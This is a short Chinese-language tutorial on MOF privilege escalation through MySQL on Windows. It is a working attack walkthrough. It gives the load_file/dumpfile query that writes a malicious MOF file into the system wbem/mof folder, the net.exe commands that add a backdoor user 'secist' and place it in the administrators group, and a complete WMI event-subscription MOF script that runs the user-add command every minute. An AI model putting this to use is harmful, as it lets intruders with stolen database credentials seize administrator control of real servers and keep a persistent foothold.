关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。下面简单演示下 mof 提权的过程!
首先将我们的 mof 提权脚本上传到可读写目录下,这里就不做演示了。接着我们选择 MySQL 提权项,输入我们已经获取的MySQL 账户信息,并执行如下命令:
select load_file(“C:/php/APMServ5.2.6/www/htdocs/1.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
该命令,即是把我们的提权命令导入到 nullevt.mof 。
为了更高的成功率,我们必须分开两次导入该脚本!第一次为用户添加命令如下图:
net.exe user secist 123 /add
第二次为用户提权命令如下图:
net.exe localgroup administrators secist /add
我们打开 cmd 可以看到 secist 账户已经成功提升到管理员组。
最后,我将提权脚本贴出来如下:
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};